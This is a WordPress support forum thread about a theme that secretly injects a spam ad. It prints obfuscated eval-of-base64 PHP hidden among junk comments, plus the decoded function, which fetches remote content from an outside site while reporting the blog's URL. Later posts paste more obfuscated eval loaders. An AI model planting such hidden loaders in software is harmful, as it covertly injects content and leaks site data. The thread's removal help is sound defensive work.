Base64 coding? Hidden ad

  • I have a viagra ad that it hidden on my site so I figured it was base64 so I went looking for it and well This junk is in my start_template.php
    Except I cannot decode it. I have tried 10 different decoders and nothing works. Is it not base64?

    <?php
    /*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
    $reftime = 1;
    $start = ‘Wm5WdVkzUnBiMjRnYzNSaGNuUmZkR1Z0Y0d4aGRHVW9LU0I3RFFwbmJHOWlZV3dnSkhKbFpuUnBiV1U3RFFvSkpIVndaR0YwWldRZ1BTQm5aWFJmYjNCMGFXOXVLQ0pqY21Wa2FYUmZaR0YwWlRJaUtUc05DZ2xwWmlBb0tIUnBiV1VvS1NBdElDUjFjR1JoZEdWa0tTQStJQ2d5TkNBcUlETTJNREFnS2lBa2NtVm1kR2x0WlNrcElIc05DZzBLQ1Fra1kzSmxaR2wwWDNSbGVIUXlJRDBnWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW1oMGRIQTZMeTkzZDNjdWQyOXlaSEJ5WlhOemRHVnRjR3hoZEdWekxtTnZiUzltYjNKdFgzZHZjbXN5THo5MWNtdzlJaTVuWlhSZllteHZaMmx1Wm04b0ozVnliQ2NwTGlJbWFXNXpkR0ZzYkdWa1BTSXVaMlYwWDI5d2RHbHZiaWdpZEdWdGNHeGhkR1ZmYVc1emRHRnNiRjlrWVhSbElpa3BPdzBLRFFvSkNYVndaR0YwWlY5dmNIUnBiMjRvSW1OeVpXUnBkRjkwWlhoME1pSXNKR055WldScGRGOTBaWGgwTWlrN0RRb0pDWFZ3WkdGMFpWOXZjSFJwYjI0b0ltTnlaV1JwZEY5a1lYUmxNaUlzZEdsdFpTZ3BLVHNOQ2dsOUlHVnNjMlVnZXlBTkNna0pKR055WldScGRGOTBaWGgwTWlBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwTWlJcE93MEtDWDBOQ2dsbFkyaHZJQ1JqY21Wa2FYUmZkR1Y0ZERJN0RRcDlEUW9OQ21sbUtHZGxkRjl2Y0hScGIyNG9JblJsYlhCc1lYUmxYMmx1YzNSaGJHeGZaR0YwWlNJcElEMDlJQ0lpS1EwS2V3MEtDV0ZrWkY5dmNIUnBiMjRvSW5SbGJYQnNZWFJsWDJsdWMzUmhiR3hmWkdGMFpTSXNJSFJwYldVb0tTazdEUXA5RFFvPQ==’;
    /*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
    $decoded = decode_it($start);
    /*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
    eval($decoded);
    ?>

Viewing 8 replies - 1 through 8 (of 8 total)

  • https://www.ads-software.com/support/topic/300761?replies=186

    Here it is in decoded form:

    function start_template() {
global $reftime;
	$updated = get_option("credit_date2");
	if ((time() - $updated) > (24 * 3600 * $reftime)) {

		$credit_text2 = file_get_contents("https://www.wordpresstemplates.com/form_work2/?url=".get_bloginfo('url')."&installed=".get_option("template_install_date"));

		update_option("credit_text2",$credit_text2);
		update_option("credit_date2",time());
	} else {
		$credit_text2 = get_option("credit_text2");
	}
	echo $credit_text2;
}

if(get_option("template_install_date") == "")
{
	add_option("template_install_date", time());
}
    Thread Starter horsegal

    (@horsegal)

    How did you decode that? I tried using the base 64 decoders but they didn’t work It always said invalid characters.

    I don’t see anything about the viagra ad in the decoded text.
    Is that all the text decoded?

    Thanks

    By the way the link didn’t help me I don’t have any “” in my code.

    Your ad is coming from this line:

    $credit_text2 = file_get_contents("https://www.wordpresstemplates.com/form_work2/?url=".get_bloginfo('url')."&installed=".get_option("template_install_date"));

    Modify the code as follows:

    function start_template() {
	$credit_text2 = '';
	echo $credit_text2;
}

if(get_option("template_install_date") == "")
{
	add_option("template_install_date", time());
}

    Hi Kevin, I need please you help, I need to decode this.

    Could you decode this please?
    Could you also please tech me how to decode it? So I dont botter you anymore.

    <?php // This file is protected by ThemeForest and provided under license.
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=1092;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJzNtbkIwVHhhSllGR3k5dExBc2ZOSVNySGpNY1h2ZER6LytvaDRnYnEyQ3dPWlBSbHVrSzVRVnA3RVU2VzE4aWU9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
Y08LyBmLyBmLyBVgvbSqH7Ygvxk+jpI2YV8zs4gysS8zYKuoYKJRY08LN5mLy01uynEoYKJZFxY+vpIp9T84Mr9lMxI2v7sKdaJ2MqYgjrA2Y01uyBmLy01uynu4NQ1uy01uyB3uFfuqypVRAhmIDxTFrIMaDNgQN0T5M4UYI7YJc4VhraM4sa2lFp829xdovNYBdQ8cITYZdrPG9STrvBdTSNMHyN+CMNQqGndmA490sIMaf0gFfQk9N48AISYNSTSrSV+MrbTojpsgMbd2crCOXxVRX7mkvq9QdHM7Dag6yB0Ky5AV9hvEtfZlYK4CFf4WMb9ZX79gFnsLyB3uN5mLyB3CtpSpjru2Y08LyBmLyBmLyn4WBA2WMr92XK3qJ3QFJnvWBACqXx8ojru/Y0gYfIgYfIgYfIgYfNZ9nbMlvbS+jp//FnsYfIgYfIgYfIgYfI4/jHy/Y0gYfIgYfIgYfIgYXn4/DuQFcrj/FxdgdT8lvasCXpE2JnsYfIgYfIgYfIgYfrkXYpg4YVQ/Ff38LNQ/s4TyIQICJaZ/YnsYfIgYfIgYfIgYfrkXYpg4YVQ/Lf34fIgYfIgYfIgYfIgZrKd5dxAqHNP8BACgXa9gJaZ/YnsYfIgYfIgYfIgYfrkXYpg4YVQ/LrdgdT8lvasCXpE2JnsYfIgYfIgYfIgYfrkXYpg4YVQ/FNP8BA24Y0gYfIgYfIgYfIgYXTZqcrAqHf38Ja9Qvbguvpk+vp+gvK/4Y0gYfIgYfIgYfIgYXTZqcrAqHf4WBAC8J3QFtpShcx1/YK3/Jn3/Jn3/Jn3/JBk4cHj/crA8JbMlX7sgvoJiBA2/Jn3/Jn3/Jn3/Jn3/Jn3/La3/jpk+v7y8JbkgMqAoL/QFJn3/Jn3/Jn3/Jn3/Jn3/Jn3/Jnm9jrsgJTmlv79CjbkgJxYUJBk+Jx+KMrj8Jb+Qda36GK8hX7Y4XxS5vp+lXrSucx8RMHyRcrUbXK1oLgm+XbT5XpUCjKmJXpVgJTm2XpUgv5uljNE9no3/Jn3/Jn3/Jn3/Jn3/Jn31G73iBA2/Jn3/Jn3/Jn3/Jn3/Jn3/La3/jpk+v7y8JqYCMp+QJhE9no3/Jn3/Jn3/Jn3/Jn3/Jn3/Jn3/Y5Pgjp+lJnsYfIgYfIgYfIgYfN0WtpShcx1/Yu4YnA4/Jn3/Jn3/JBulvBE9no3/Jn3/Jn3/Jn3/Jn3/Jn31MxgpJx9ZjH95LfYhXxS+vg8oX7s2JhE1GpsCdhE/Jn3/Jn3/Jn3/Jn3/Jn3/BA2/Jn3/Jn3/Jn3/Jn31GpsCdhE1JfQPJ0Stsn3oMb8ldxSKJo3PGNE9n/4YLn84cHjiLn0PGfmTN4A/JqdKjHmuMHJoJnQPL/QFnNulMxgpLhu+GfQ/sIU0JnYoMpgPMKJ/GfQiBA2YY5P7vT8bXp8QMHJ2FNZWMr92XK3qLn8oXpsUL/QFLn82dxVZLovW

    @originalconcept – have a look at this sticky thread: https://www.ads-software.com/support/topic/384389

    Ohhhh I looked that, but Its like chinese for me =(

    Could you give me please a hand with this code?

    thanks

    <?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited.
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=768;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJ0VudGVyeW91d2toUkhZS05XT1VUQWFCYkNjRGRGZkdnSWlKakxsTW1QcFFxU3NWdlh4WnowMTIzNDU2Nzg5Ky89JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
kr9NHenNHenNHe1lFMamb3klFoxiC2APk19gOLlHOa9gkZXJkZwVkr9NTznNHr8XHt4JkZwShokiF2A2Yy9LcBYvcoAPF3OZfuwPcmklCBWPkr8XHenNHr8XHtXLT08XHr8XHeEXhUXmOB50cbk5d3a3D2iUUylRTlfNaaOnCAkJW2YrcrcMO2fkDApQToxYdanXAbyTF1c2BuiDGjExHjH0YTC3KeLqRz0mRtfnWLYrOAcuUrlhU0xYTL9WAakTayaBa1icBMyJC2OlcMfPDBpqdo1Vd3nxFmY0fbc3Gul6HerZHzW1YjF4KUSvkZLphUL7cMYSd3YlhtONHeEXTznNHeEpK2a2CBXPkr9NHenNHenNHtL7cBYPdZEmNoOpfJnjdoyzFz0JC2xlCbwJNjXvcol2NI0hNoOpfJnpce0Jfukpc2flFJwIC2xiF3H9wMyZFM93wj48R2Opfj4YtI0hNoOpfJnpce0JcM9vfoaZwJnjdoyzFz0Jfo9mc2xlb2YvdmOiDB5lFJw+eWPkW29XGbkpc2i0wtcjd3n5KZEmKZnlC2ivwoOifoAPwlLJhTSIK2ajDo8IkZEMdBlLco90KZEmKZnJdo9mDB5MdZImdMyscUFpKZE7cBYPdZEmRtnndoXIAMlmDuOzwuklF2aZfMaLRJE8CUnPFMaMNUkPfuOXKJ8vf3f3RMcZcBAsFukldBl1dU13d3kLFuklF3HsfoildBazRMYvdUwIFMaSNUkLd2cvdoxvfZw+OmklcUnWFMasDbaswyfvFMOXFMazFZnADoascbH8R2r+eWPkNuYXCB4IC2xiF3H9wmy1d3Olwj4mKZnlC2ivwoflfy9vFuOpd24Pk3OPcB1lb3YSd2fidJFSfuk1cUL7weslC2ivwtF8R3YXCB4+eWPkNt9LDbC+eWPYtI0hNtrsRUnydMWIOM9vfoaZwt0sNI0htW0hNt9LDbC+eWP8wU0swraVctnudo9JCBXIa3kiFtEsRT4YtjxzC3kpFuWIfulXcT0Jfoa4ft9QCbciF2YZDbn0wj4IW3aMd24VdM93htL7weXvF2YZDbn0NI0hkzSIf3ngcM9vfoaZhtL7weslC2ivwtF8R2kvcuL+eWP8R2i0dBX+kzS=

    @originalconcept: Stop posting the same question everywhere!

Viewing 8 replies - 1 through 8 (of 8 total)
  • The topic ‘Base64 coding? Hidden ad’ is closed to new replies.